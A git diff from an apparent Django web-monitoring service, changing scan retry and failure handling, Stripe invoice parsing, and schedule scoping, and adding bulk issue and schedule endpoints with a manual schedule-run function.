+                complete=False
+            )
+
+
+        # update case
+        steps_data = self.save_case_steps(self.steps, str(self.case.id))
+        self.case.steps = steps_data
+        self.case.processed = True
+        self.case.save()
+
+        quit_driver(driver=self.driver)
+        print('-- case pre_run complete --')
+        
+        # update process
+        self.update_process(current=1, total=1, complete=True)
+        
+        return None
+
+
+
+
     
     
\ No newline at end of file
diff --git a/app/api/utils/lighthouse.py b/app/api/utils/lighthouse.py
index dbcca330..0f77277a 100644
--- a/app/api/utils/lighthouse.py
+++ b/app/api/utils/lighthouse.py
@@ -222,7 +222,7 @@ def process_data(self, stdout_json: dict) -> dict:
     def get_data(self):
 
         scan_complete = False
-        failed = None
+        failed = True
         attempts = 0
 
         # trying lighthouse scan untill success or 2 attempts
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index 45592aca..f0aa96b4 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -452,12 +452,15 @@ def _lighthouse(scan_id: str, test_id: str=None, automation_id: str=None) -> obj
     try:
         # running lighthouse
         lh_data = Lighthouse(scan=scan).get_data() 
+        print(f'LIGHTHOUSE failure_status -> {lh_data.get('failed')}')
         
         # updating Scan object
         scan = Scan.objects.get(id=scan_id)
         scan.lighthouse = lh_data
         scan.save()
     except Exception as e:
+        scan.yellowlab['failed'] = True
+        scan.save()
         print(e)
 
     # checking if scan is done
@@ -489,12 +492,15 @@ def _yellowlab(scan_id: str, test_id: str=None, automation_id: str=None) -> obje
     try:
         # running yellowlab
         yl_data = Yellowlab(scan=scan).get_data()
+        print(f'YELLOWLAB failure_status -> {yl_data.get('failed')}')
         
         # updating Scan object
         scan = Scan.objects.get(id=scan_id)
         scan.yellowlab = yl_data
         scan.save()
     except Exception as e:
+        scan.yellowlab['failed'] = True
+        scan.save()
         print(e)
 
     # checking if scan is done
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index c6e11480..c464ac4f 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -224,16 +224,23 @@ def process_data(self, stdout_json: dict) -> dict:
     def get_data(self):
 
         scan_complete = False
-        failed = None
+        failed = True
         attempts = 0
         
-        # trying yellowlab scan untill success or 2 attempts
+        # trying yellowlab scan until success or 2 attempts
         while not scan_complete and attempts < 2:
 
             try:
-                # API method only
-                raw_data = self.yellowlab_api()
-                self.process_data(stdout_json=raw_data)
+                # CLI on first attempt
+                if attempts < 1:
+                    raw_data = self.yellowlab_cli()
+                    self.process_data(stdout_json=raw_data)
+                
+                # API after first attempt
+                if attempts >= 1:
+                    raw_data = self.yellowlab_api()
+                    self.process_data(stdout_json=raw_data)
+
                 scan_complete = True
                 failed = False
 
diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index 2251f4a5..50ee8e64 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -614,9 +614,9 @@ def cancel_subscription(request: object=None, account: object=None) -> object:
         # update Account plan
         account.type = 'free'
         account.max_sites = 1
-        account.max_schedules = 0
-        account.max_pages = 1
-        account.retention_days = '3'
+        account.max_schedules = 1
+        account.max_pages = 3
+        account.retention_days = '15'
         account.interval = 'month'
         account.price_amount = 0
         account.cust_id = None
@@ -633,6 +633,7 @@ def cancel_subscription(request: object=None, account: object=None) -> object:
             'testcases_allowed': 15,
         }
         account.meta['last_usage_reset'] = datetime.today().strftime('%Y-%m-%d %H:%M:%S.%f')
+        account.meta['coupon'] = {"code": "", "discount": 0}
 
         # save Account
         account.save()
@@ -696,11 +697,41 @@ def get_stripe_invoices(request: object) -> object:
         # build list of Stripe Invice objects
         for invoice in invoice_body.data:
 
-            # clean product name & get interval
-            product_name = invoice['lines']['data'][0]['description']
-            product_name = product_name.split('1 × ')[1].split(' (')[0]
-            interval = invoice['lines']['data'][0]['plan']['interval']
-
+            # setting defaults
+            items = []
+            product_name = None
+            interval = None
+
+            # create line items
+            for item in invoice['lines']['data']:
+
+                # add item data
+                items.append({
+                    'amount': item['amount'],
+                    'description': item['description'],
+                    'period_start': item['period']['start'],
+                    'period_end': item['period']['end'],
+                    'quantity': item['quantity'],
+                    'proration': item['proration']
+                })
+
+                # getting product name and interval if item 
+                # is not proration
+                if not item['proration']:
+                    # get product_name
+                    if 'basic' in item['description'].lower():
+                        product_name = 'Basic'
+                    if 'pro' in item['description'].lower():
+                        product_name = 'Pro'
+                    if 'plus' in item['description'].lower():
+                        product_name = 'Plus'
+                    if 'custom' in item['description'].lower():
+                        product_name = 'Custom'
+                    if 'enterprise' in item['description'].lower():
+                        product_name = 'Enterprise'
+                    # get interval
+                    interval = item['plan']['interval']
+            
             # get end_date
             period_start = datetime.fromtimestamp(invoice.period_start)
             new = period_start + timedelta(days=30 if interval == 'month' else 365)
@@ -709,6 +740,8 @@ def get_stripe_invoices(request: object) -> object:
             i_list.append({
                 'id': invoice.id,
                 'status': invoice.status,
+                'subtotal': invoice.subtotal,
+                'subtotal_excluding_tax': invoice.subtotal_excluding_tax,
                 'price_amount': invoice.amount_paid,
                 'created': invoice.created,
                 'due_date': invoice.due_date,
@@ -718,7 +751,8 @@ def get_stripe_invoices(request: object) -> object:
                 'invoice_pdf': invoice.invoice_pdf,
                 'number': invoice.number,
                 'period_start': invoice.period_start,
-                'period_end': period_end
+                'period_end': period_end,
+                'items': items
             })
         
         # format response
diff --git a/app/api/v1/ops/serializers.py b/app/api/v1/ops/serializers.py
index a5f10e5f..ef68c06b 100644
--- a/app/api/v1/ops/serializers.py
+++ b/app/api/v1/ops/serializers.py
@@ -36,7 +36,7 @@ class ProcessSerializer(serializers.HyperlinkedModelSerializer):
     class Meta:
         model = Process
         fields = ['id', 'site', 'type', 'time_created', 'time_completed',
-        'success', 'info_url', 'progress', 'info', 'exception'
+        'success', 'info_url', 'progress', 'info', 'exception', 'object_id'
         ]
 
 
@@ -146,7 +146,6 @@ class Meta:
 
 
 class ScheduleSerializer(serializers.HyperlinkedModelSerializer):
-    site = serializers.PrimaryKeyRelatedField(**kwargs)
     user = serializers.ReadOnlyField(source='user.username')
     id = serializers.PrimaryKeyRelatedField(**kwargs)
     automation = serializers.PrimaryKeyRelatedField(**kwargs)
@@ -154,9 +153,10 @@ class ScheduleSerializer(serializers.HyperlinkedModelSerializer):
 
     class Meta:
         model = Schedule
-        fields = ['id', 'site', 'time_created', 'user', 'task_type',
+        fields = ['id', 'time_created', 'user', 'task_type',
         'timezone', 'begin_date', 'time', 'frequency', 'task', 'crontab_id',
-        'periodic_task_id', 'status', 'automation', 'extras', 'account',
+        'periodic_task_id', 'status', 'automation', 'extras', 'account', 
+        'scope', 'resources', 'time_last_run',
         ]
 
 
@@ -202,7 +202,8 @@ class CaseSerializer(serializers.HyperlinkedModelSerializer):
     class Meta:
         model = Case
         fields = ['id', 'name', 'user', 'steps', 'time_created',
-        'tags', 'account', 'site', 'type', 'site_url',
+        'tags', 'account', 'site', 'type', 'site_url', 
+        'processed'
         ]
 
 
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index bbaa367b..e5f8b908 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -19,7 +19,7 @@
 from ...utils.wordpress import Wordpress as W
 from ...utils.caser import Caser
 from ...utils.crawler import Crawler
-import json, boto3, asyncio, os, requests, uuid
+import json, boto3, asyncio, os, requests, uuid, secrets
 
 
 
@@ -749,7 +749,7 @@ def delete_site(request: object=None, id: str=None, account: object=None) -> obj
     delete_site_s3_bg.delay(site_id=id)
     
     # remove any associated tasks 
-    delete_tasks(site=site)
+    delete_tasks_and_schedules(resource_id=str(site.id), scope='site', account=account)
 
     # remove any site associated Issues
     Issue.objects.filter(affected__icontains=str(id)).delete()
@@ -1292,7 +1292,7 @@ def delete_page(request: object=None, id: str=None, account: object=None) -> obj
     delete_page_s3_bg.delay(page_id=id, site_id=page.site.id)
 
     # remove any schedules and associated tasks
-    delete_tasks(page=page)
+    delete_tasks_and_schedules(resource_id=str(page.id), scope='page', account=account)
 
     # remove any associated Issues
     Issue.objects.filter(affected__icontains=str(id)).delete()
@@ -2277,7 +2277,6 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
 
         # running test in background
         create_test_bg.delay(
-            page_id=p.id,
             test_id=test.id,
             configs=configs,
             type=test_type,
@@ -2823,6 +2822,22 @@ def create_or_update_issue(request: object=None, **kwargs) -> object:
         account_id = kwargs.get('account_id')
         account = Account.objects.get(id=account_id)
 
+    # check account and resource
+    check_data = check_account_and_resource(user=account.user, 
+        issue_id=id, resource='issue'
+    )
+    if not check_data['allowed']:
+        data = {
+            'reason': check_data['error'], 
+            'success': False, 
+            'code': check_data['code'], 
+            'status': check_data['status']
+        }
+        if request is not None:
+            record_api_call(request, data, check_data['code'])
+            return Response(data, status=check_data['status'])
+        return data
+
     # get Issue if id is present
     if id is not None:
         issue = Issue.objects.get(id=id)
@@ -2865,7 +2880,75 @@ def create_or_update_issue(request: object=None, **kwargs) -> object:
         return Response(data, status=status.HTTP_200_OK)
     
     # return object response
-    return issue
+    data = {
+        'success': True, 
+        'issue': issue,
+    }
+    return data
+
+
+
+
+def update_many_issues(request: object=None) -> object:
+    """ 
+    Updates many `Issues` passed in a list
+
+    Expects: {
+        'ids'     : list
+        'updates' : dict
+    }
+    
+    Returns -> HTTP Response object
+    """
+    
+    #  get request data
+    ids = request.data.get('ids')
+    updates = request.data.get('updates')
+    member = Member.objects.get(user=request.user)
+    account = member.account
+
+    # set defaults
+    num_succeeded = 0
+    succeeded = []
+    num_failed = 0
+    failed = []
+    this_status = True
+
+    # loop through ids and update
+    for id in ids:
+        # reformat update data
+        data = updates
+        data['id'] = str(id)
+        data['account_id'] = str(account.id)
+
+        # send update
+        try:
+            res = create_or_update_issue(**data)
+            if res['success']:
+                num_succeeded += 1
+                succeeded.append(str(id))
+            else:
+                num_failed += 1
+                this_status = False
+                failed.append(str(id))
+                print(res['message'])
+        except Exception as e:
+            print(e)
+            if str(id) not in failed:
+                num_failed += 1
+                this_status = False
+                failed.append(str(id))
+
+    # format and return
+    data = {
+        'success': this_status,
+        'num_succeeded': num_succeeded,
+        'succeeded': succeeded,
+        'num_failed': num_failed,
+        'failed': failed, 
+    }
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
 
 
 
@@ -3057,6 +3140,62 @@ def delete_issue(request: object, id: str) -> object:
 
 
 
+def delete_many_issues(request: object=None) -> object:
+    """ 
+    Deletes many `Issues` passed in a list
+
+    Expects: {
+        'ids': list
+    }
+    
+    Returns -> HTTP Response object
+    """
+    
+    #  get request data
+    ids = request.data.get('ids')
+    member = Member.objects.get(user=request.user)
+    account = member.account
+
+    # set defaults
+    num_succeeded = 0
+    succeeded = []
+    num_failed = 0
+    failed = []
+    this_status = True
+
+    # loop through ids and delete
+    for id in ids:
+
+        # delete issue
+        try:
+            issue = Issue.objects.get(id=id)
+            if issue.account == account:
+                issue.delete()
+            elif str(id) not in failed:
+                num_failed += 1
+                this_status = False
+                failed.append(str(id))
+        except Exception as e:
+            print(e)
+            if str(id) not in failed:
+                num_failed += 1
+                this_status = False
+                failed.append(str(id))
+
+    # format and return
+    data = {
+        'success': this_status,
+        'num_succeeded': num_succeeded,
+        'succeeded': succeeded,
+        'num_failed': num_failed,
+        'failed': failed, 
+    }
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
 def get_issues_zapier(request: object) -> object:
     """ 
     Get all `Issues` associated with user's Account.
@@ -3134,7 +3273,7 @@ def get_issues_zapier(request: object) -> object:
 
 
 
-def create_or_update_schedule(request: object) -> object:
+def create_or_update_schedule(request: object=None, **kwargs) -> object:
     """ 
     Creates or Updates a `Schedule` 
 
@@ -3146,24 +3285,45 @@ def create_or_update_schedule(request: object) -> object:
     """
 
     # get request data
-    schedule_status = request.data.get('status')
-    begin_date_raw = request.data.get('begin_date')
-    time = request.data.get('time')
-    timezone = request.data.get('timezone')
-    freq = request.data.get('frequency')
-    task_type = request.data.get('task_type')
-    test_type = request.data.get('test_type', settings.TYPES)
-    scan_type = request.data.get('scan_type', settings.TYPES)
-    configs = request.data.get('configs', None)
-    threshold = request.data.get('threshold', settings.TEST_THRESHOLD)
-    schedule_id = request.data.get('schedule_id')
-    site_id = request.data.get('site_id')
-    page_id = request.data.get('page_id')
-    case_id = request.data.get('case_id')
-    updates = request.data.get('updates')
+    if request:
+        schedule_status = request.data.get('status')
+        begin_date_raw = request.data.get('begin_date')
+        time = request.data.get('time')
+        timezone = request.data.get('timezone')
+        freq = request.data.get('frequency')
+        task_type = request.data.get('task_type')
+        test_type = request.data.get('test_type', settings.TYPES)
+        scan_type = request.data.get('scan_type', settings.TYPES)
+        configs = request.data.get('configs', None)
+        threshold = request.data.get('threshold', settings.TEST_THRESHOLD)
+        schedule_id = request.data.get('schedule_id')
+        resources = request.data.get('resources')
+        scope = request.data.get('scope')
+        case_id = request.data.get('case_id')
+        updates = request.data.get('updates')
+        user = request.user
+    
+    if not request:
+        schedule_status = kwargs.get('status')
+        begin_date_raw = kwargs.get('begin_date')
+        time = kwargs.get('time')
+        timezone = kwargs.get('timezone')
+        freq = kwargs.get('frequency')
+        task_type = kwargs.get('task_type')
+        test_type = kwargs.get('test_type', settings.TYPES)
+        scan_type = kwargs.get('scan_type', settings.TYPES)
+        configs = kwargs.get('configs', None)
+        threshold = kwargs.get('threshold', settings.TEST_THRESHOLD)
+        schedule_id = kwargs.get('schedule_id')
+        resources = kwargs.get('resources')
+        scope = kwargs.get('scope')
+        case_id = kwargs.get('case_id')
+        updates = kwargs.get('updates')
+        user_id = kwargs.get('user_id')
+        user = User.objects.get(id=user_id)
+        
 
-    # get user and account
-    user = request.user
+    # get account
     account = Member.objects.get(user=user).account
 
     # updating configs if None:
@@ -3171,43 +3331,36 @@ def create_or_update_schedule(request: object) -> object:
 
     # setting defaults
     schedule = None
-    site = None
-    page = None
     
     # deciding on action type
     action = 'add' if not schedule_id else None
 
     # checking account and resource 
     check_data = check_account_and_resource(
-        request=request, resource='schedule', page_id=page_id, 
-        site_id=site_id, schedule_id=schedule_id, action=action
+        user=user, resource='schedule', 
+        schedule_id=schedule_id, action=action
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, check_data['code'])
-        return Response(data, status=check_data['status'])
+        if request:
+            record_api_call(request, data, check_data['code'])
+            return Response(data, status=check_data['status'])
+        return data
 
     # get schedule if checks passed and id is present
     if schedule_id:
         schedule = Schedule.objects.get(id=schedule_id)
-    
-    # converting to str for **kwargs
-    if site_id is not None:
-        site_id = str(site_id)
-        site = Site.objects.get(id=site_id)
-    if page_id is not None:
-        page_id = str(page_id)
-        page = Page.objects.get(id=page_id)
 
     # toggling schedule status
     if schedule_status != None and schedule != None:
+        # update task
         task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
-        if task.enabled == True:
+        if schedule_status == 'Paused':
             task.enabled = False
-            schedule.status = 'Paused'
-        else:
+        if schedule_status == 'Active':
             task.enabled = True
-            schedule.status = 'Active'
+        # update schedule
+        schedule.status = schedule_status
         task.save() 
         schedule.save()
     
@@ -3226,14 +3379,15 @@ def create_or_update_schedule(request: object) -> object:
 
         # build args
         arguments = {
-            'site_id': site_id,
-            'page_id': page_id,
+            'scope': scope,
+            'resources': resources,
+            'account_id': str(account.id),
             'updates': updates,
             'configs': configs,
             'case_id': case_id,
             'type': scan_type if task_type == 'scan' else test_type,
             'threshold': threshold,
-            'automation_id': auto_id
+            'automation_id': auto_id,
         }
 
         # setting start date default
@@ -3261,16 +3415,11 @@ def create_or_update_schedule(request: object) -> object:
             day_of_week = '*'
             day_of_month = day
 
-        # deciding on scope
-        if site is not None:
-            url = site.site_url
-            level = 'site'
-        if page is not None:
-            url = page.page_url
-            level = 'page'
+        # create unique str for 
+        rand_str = secrets.token_urlsafe(6)
 
         # building unique task name
-        task_name = f'{task_type}_{level}_{url}_{freq}_@{time}_{account.user.id}'
+        task_name = f'{task_type}_{scope}_{rand_str}_{freq}_@{time}_{account.user.id}'
 
         # building or updating crontab 
         crontab, _ = CrontabSchedule.objects.get_or_create(
@@ -3287,6 +3436,11 @@ def create_or_update_schedule(request: object) -> object:
             if PeriodicTask.objects.filter(id=schedule.periodic_task_id).exists():
                 # update existing task
                 periodic_task = PeriodicTask.objects.filter(id=schedule.periodic_task_id)
+                
+                # grabbing task_id
+                arguments['task_id'] = str(periodic_task[0].id)
+               
+                # updating task with args
                 periodic_task.update(
                     crontab=crontab,
                     name=task_name, 
@@ -3301,17 +3455,25 @@ def create_or_update_schedule(request: object) -> object:
 
             # check if task exists
             if PeriodicTask.objects.filter(name=task_name).exists():
-                data = {'reason': 'Schedule already exists',}
-                record_api_call(request, data, '401')
-                return Response(data, status=status.HTTP_401_UNAUTHORIZED)
+                data = {'reason': 'Schedule already exists', 'code': '401'}
+                if request:
+                    record_api_call(request, data, '401')
+                    return Response(data, status=status.HTTP_401_UNAUTHORIZED)
+                return data
 
             # create new periodic task 
             periodic_task = PeriodicTask.objects.create(
                 crontab=crontab, 
                 name=task_name, 
-                task=task,
-                kwargs=json.dumps(arguments),
+                task=task,   
             )
+            
+            # inserting task_id
+            arguments['task_id'] = str(periodic_task.id)
+            
+            # updating args
+            periodic_task.kwargs = json.dumps(arguments)
+            periodic_task.save()
 
         # building extras for scheduls
         extras = {
@@ -3325,7 +3487,7 @@ def create_or_update_schedule(request: object) -> object:
         
         # update existing schedule
         if schedule:
-            
+
             # update each param if passed
             if timezone:
                 schedule.timezone = timezone
@@ -3343,6 +3505,8 @@ def create_or_update_schedule(request: object) -> object:
                 schedule.task_type = task_type
             if extras:
                 schedule.extras = extras 
+            if resources is not None:
+                schedule.resources = resources
             
             # save udpdates
             schedule.save()
@@ -3351,8 +3515,8 @@ def create_or_update_schedule(request: object) -> object:
         if not schedule:
             schedule = Schedule.objects.create(
                 user=request.user, 
-                site=site,
-                page=page, 
+                scope=scope,
+                resources=resources, 
                 task_type=task_type, 
                 timezone=timezone,
                 begin_date=begin_date, 
@@ -3365,6 +3529,147 @@ def create_or_update_schedule(request: object) -> object:
                 account=account
             )
 
+    # deciding on response type
+    if request:
+        # serialize and return
+        serializer_context = {'request': request,}
+        data = ScheduleSerializer(schedule, context=serializer_context).data
+        record_api_call(request, data, '200')
+        response = Response(data, status=status.HTTP_200_OK)
+        return response
+    
+    # return object response
+    data = {
+        'success': True, 
+        'schedule': schedule,
+    }
+    return data
+
+
+
+
+def update_many_schedules(request: object=None) -> object:
+    """ 
+    Updates many `Schedules` passed in a list
+
+    Expects: {
+        'ids'     : list
+        'updates' : dict
+    }
+    
+    Returns -> HTTP Response object
+    """
+    
+    #  get request data
+    ids = request.data.get('ids')
+    updates = request.data.get('updates')
+    member = Member.objects.get(user=request.user)
+    account = member.account
+
+    # set defaults
+    num_succeeded = 0
+    succeeded = []
+    num_failed = 0
+    failed = []
+    this_status = True
+
+    # loop through ids and update
+    for id in ids:
+        # reformat update data
+        data = updates
+        data['schedule_id'] = str(id)
+        data['user_id'] = str(request.user.id)
+
+        # send update
+        try:
+            res = create_or_update_schedule(**data)
+            if res['success']:
+                num_succeeded += 1
+                succeeded.append(str(id))
+            else:
+                num_failed += 1
+                this_status = False
+                failed.append(str(id))
+                print(res['message'])
+        except Exception as e:
+            print(e)
+            if str(id) not in failed:
+                num_failed += 1
+                this_status = False
+                failed.append(str(id))
+
+    # format and return
+    data = {
+        'success': this_status,
+        'num_succeeded': num_succeeded,
+        'succeeded': succeeded,
+        'num_failed': num_failed,
+        'failed': failed, 
+    }
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+def run_schedule(request: object) -> object:
+    """
+    Grabs all the args from the asociated perodic_task
+    and executes the task manually without interupting
+    the perodic_task's normal cycle.
+
+    Expects: {
+        requests: object
+    } 
+
+    Return -> HTTP Response object
+    """
+
+    # get request data
+    schedule_id = request.data.get('schedule_id')
+
+    # get user and account
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # checking account and resource 
+    check_data = check_account_and_resource(
+        request=request, resource='schedule', 
+        schedule_id=schedule_id,
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get schedule and assocated task if checks passed
+    schedule = Schedule.objects.get(id=schedule_id)
+    task = schedule.task_type
+    perodic_task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
+    task_kwargs = json.loads(perodic_task.kwargs)
+
+    # decidign on which task 
+    if task == 'scan':
+        # run create_scan_bg
+        create_scan_bg.delay(
+            **task_kwargs
+        )
+    if task == 'test':
+        # run create_test_bg
+        create_test_bg.delay(
+            **task_kwargs
+        )
+    if task == 'testcase':
+        # run create_testcase_bg
+        create_testcase_bg.delay(
+            **task_kwargs
+        )
+    if task == 'report':
+        # run create_report_bg
+        create_report_bg.delay(
+            **task_kwargs
+        )
+
     # serialize and return
     serializer_context = {'request': request,}
     data = ScheduleSerializer(schedule, context=serializer_context).data
@@ -3388,8 +3693,8 @@ def get_schedules(request: object) -> object:
 
     # get request data
     schedule_id = request.query_params.get('schedule_id')
-    site_id = request.query_params.get('site_id')
-    page_id = request.query_params.get('page_id')
+    scope = request.query_params.get('scope')
+    resource_id = request.query_params.get('resource_id')
     user = request.user
     account = Member.objects.get(user=user).account
 
@@ -3398,7 +3703,7 @@ def get_schedules(request: object) -> object:
 
     # check account and resource 
     check_data = check_account_and_resource(
-        user=user, resource='schedule', page_id=page_id, site_id=site_id, 
+        user=user, resource='schedule',
         schedule_id=schedule_id
     )
     if not check_data['allowed']:
@@ -3419,21 +3724,28 @@ def get_schedules(request: object) -> object:
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
 
-    # get all page scoped schedules
-    if not site_id and not page_id:
-        schedules = Schedule.objects.filter(account=account).order_by('-time_created')
-    
-    # get all site scoped schedules
-    if site_id and not schedules:
-        site = Site.objects.get(id=site_id)
-        schedules = Schedule.objects.filter(site=site).order_by('-time_created')
-    
-    # get all page scoped schedules
-    if page_id and not schedules:
-        print('getting Schedules by page_id')
-        page = Page.objects.get(id=page_id)
-        schedules = Schedule.objects.filter(page=page).order_by('-time_created')
+    # get all account scoped schedules
+    if scope == 'account':
+        schedules = Schedule.objects.filter(
+            account=account,
+            scope='account'
+        ).order_by('-time_created')
+
+    # get all non account scoped
+    if scope != 'account' and resource_id is None:
+        schedules = Schedule.objects.filter(
+            account=account,
+            scope=scope
+        ).order_by('-time_created')
     
+    # get all non account scoped schedules with resource_id
+    if scope != 'account' and resource_id:
+        schedules = Schedule.objects.filter(
+            account=account,
+            resources__icontains=resource_id,
+            scope=scope
+        ).order_by('-time_created')
+
     # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(schedules, request)
@@ -3526,39 +3838,99 @@ def delete_schedule(request: object, id: str) -> object:
 
 
 
-def delete_tasks(page: object=None, site: object=None) -> None:
+def delete_many_schedules(request: object=None) -> object:
+    """ 
+    Deletes many `Schedules` passed in a list
+
+    Expects: {
+        'ids': list
+    }
+    
+    Returns -> HTTP Response object
+    """
+    
+    #  get request data
+    ids = request.data.get('ids')
+    member = Member.objects.get(user=request.user)
+    account = member.account
+
+    # set defaults
+    num_succeeded = 0
+    succeeded = []
+    num_failed = 0
+    failed = []
+    this_status = True
+
+    # loop through ids and delete
+    for id in ids:
+
+        # delete schedule
+        try:
+            schedule = Schedule.objects.get(id=id)
+            task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
+            if schedule.account == account:
+                schedule.delete()
+                task.delete()
+            elif str(id) not in failed:
+                num_failed += 1
+                this_status = False
+                failed.append(str(id))
+        except Exception as e:
+            print(e)
+            if str(id) not in failed:
+                num_failed += 1
+                this_status = False
+                failed.append(str(id))
+
+    # format and return
+    data = {
+        'success': this_status,
+        'num_succeeded': num_succeeded,
+        'succeeded': succeeded,
+        'num_failed': num_failed,
+        'failed': failed, 
+    }
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+def delete_tasks_and_schedules(
+        resource_id : str=None, 
+        scope       : object=None, 
+        account     : object=None
+    ) -> None:
     """ 
     Helper function to delete any `Schedules` & `PerodicTasks`
-    associated with the passed "site" or "page"
+    associated with the passed "resource_id", "scope", and 
+    "account"
 
     Expects: {
-        'page': object, 
-        'site': object
+        'resource_id'   : str, 
+        'scope'         : str
+        'account'       : object
     }
 
     Returns -> None
     """ 
-
-    # get any schedules
-    schedules = []
-    
-    # get all page scopped Schedules
-    if page:
-        schedules += Schedule.objects.filter(page=page)
-    
-    # get all site & page scopped Schedules
-    if site:
-        # get site scopped
-        schedules += Schedule.objects.filter(site=site)
-        # iterate over each site associated page and to schedules[]
-        pages = Page.objects.filter(site=site)
-        for p in pages:
-            schedules += Schedule.objects.filter(page=p)
+    # get all scopped Schedules
+    schedules = Schedule.objects.filter(
+        resources__icontains=resource_id,
+        account=account,
+        scope=scope 
+    )
 
     # remove any associated tasks
     for schedule in schedules:
         task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
-        task.delete()
+        try:
+            task.delete()
+        except Exception as e:
+            print(e)
+    
+    # delete Schedules
+    schedules.delete()
     
     return None
 
@@ -3583,8 +3955,6 @@ def create_or_update_automation(request: object) -> object:
     
     # get request data
     actions = request.data.get('actions')
-    site_id = request.data.get('site_id')
-    page_id = request.data.get('page_id')
     schedule_id = request.data.get('schedule_id')
     automation_id = request.data.get('automation_id')
     name = request.data.get('name')
@@ -3604,8 +3974,7 @@ def create_or_update_automation(request: object) -> object:
     # checking account and resource 
     check_data = check_account_and_resource(
         request=request, resource=resource, 
-        automation_id=automation_id, schedule_id=schedule_id, 
-        site_id=site_id, page_id=page_id
+        automation_id=automation_id, schedule_id=schedule_id,
     )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
@@ -3652,25 +4021,19 @@ def create_or_update_automation(request: object) -> object:
 
         # update associated periodicTask
         task = PeriodicTask.objects.get(id=schedule.periodic_task_id)
-        
-        # get associated page or site id
-        site_id = None
-        if schedule.site is not None:
-            site_id = str(schedule.site.id)
-        page_id = None
-        if schedule.page is not None:
-            page_id = str(schedule.page.id)
 
         # update periodic task
         arguments = {
-            'site_id': site_id,
-            'page_id': page_id,
+            'scope': json.loads(task.kwargs).get('scope'),
+            'resources': json.loads(task.kwargs).get('resources'),
+            'account_id': json.loads(task.kwargs).get('account_id'),
             'automation_id': str(automation.id),
             'configs': json.loads(task.kwargs).get('configs'), 
             'type': json.loads(task.kwargs).get('type'),
             'threshold': json.loads(task.kwargs).get('threshold'),
             'case_id': json.loads(task.kwargs).get('case_id'),
-            'updates': json.loads(task.kwargs).get('updates')
+            'updates': json.loads(task.kwargs).get('updates'),
+            'task_id': json.loads(task.kwargs).get('task_id'),
         }
         task.kwargs=json.dumps(arguments)
         task.save()
@@ -4157,7 +4520,7 @@ def create_or_update_case(request: object) -> object:
     if case_id:
         case = Case.objects.get(id=case_id)
 
-    # udpate case   
+    # update Case   
     if case:
         if steps is not None:
             steps_data = save_case_steps(steps, case_id)
@@ -4173,7 +4536,7 @@ def create_or_update_case(request: object) -> object:
         # save updates
         case.save()
     
-    # create case
+    # create Case
     if not case:
 
         # generate new uuid
@@ -4182,7 +4545,7 @@ def create_or_update_case(request: object) -> object:
         # save step data in s3
         steps_data = save_case_steps(steps, case_id)
         
-        # create new case
+        # create new Case
         case = Case.objects.create(
             id = case_id,
             user = request.user,
@@ -4194,6 +4557,21 @@ def create_or_update_case(request: object) -> object:
             account = account
         )
 
+        # create process obj
+        process = Process.objects.create(
+            site=site,
+            type='case.pre_run',
+            object_id=str(case.id),
+            account=account,
+            progress=1
+        )
+
+        # start pre_run for new Case
+        case_pre_run_bg.delay(
+            case_id=str(case.id),
+            process_id=str(process.id)
+        )
+
     # serialize and return
     serializer_context = {'request': request,}
     data = CaseSerializer(case, context=serializer_context).data
@@ -4454,7 +4832,7 @@ def create_auto_cases(request: object) -> object:
     # create process obj
     process = Process.objects.create(
         site=site,
-        type='case',
+        type='case.generate',
         account=account,
         progress=1
     )
@@ -4739,7 +5117,7 @@ def create_testcase(request: object, delay: bool=False) -> object:
     )
 
     # pass the newly created Testcase to the backgroud task to run
-    create_testcase_bg.delay(testcase_id=testcase.id)
+    run_testcase.delay(testcase_id=testcase.id)
 
     # serialize and return
     serializer_context = {'request': request,}
@@ -4990,6 +5368,7 @@ def get_processes(request: object) -> object:
     site_id = request.query_params.get('site_id')
     process_id = request.query_params.get('process_id')
     _type = request.query_params.get('type')
+    object_id = request.query_params.get('object_id')
 
     # get user and account
     user = request.user
@@ -5025,10 +5404,12 @@ def get_processes(request: object) -> object:
 
     # get processes scoped to accout and/or type
     if site_id is None and process_id is None:
-        if _type is None:
+        if _type is None and object_id is None:
             processes = Process.objects.filter(account=account).order_by('-time_created')
         if _type is not None:
             processes = Process.objects.filter(account=account, type=_type).order_by('-time_created')
+        if object_id is not None:
+            processes = Process.objects.filter(account=account, object_id=object_id).order_by('-time_created')
 
     # serialize and return
     paginator = LimitOffsetPagination()
@@ -5193,7 +5574,7 @@ def search_resources(request: object) -> object:
     Returns:
         data -> [
             {
-                'name': <str>,
+                'str' : <str>,
                 'type': <str>,
                 'path': <str>,
                 'id'  : <str>,
@@ -5245,7 +5626,7 @@ def search_resources(request: object) -> object:
     max_sites = 10 if resource_type == 'site' else 3
     while i <= max_sites and i <= (len(sites)-1):
         data.append({
-            'name': str(sites[i].site_url),
+            'str': str(sites[i].site_url),
             'path': f'/site/{sites[i].id}',
             'id'  : str(sites[i].id),
             'type': 'site',
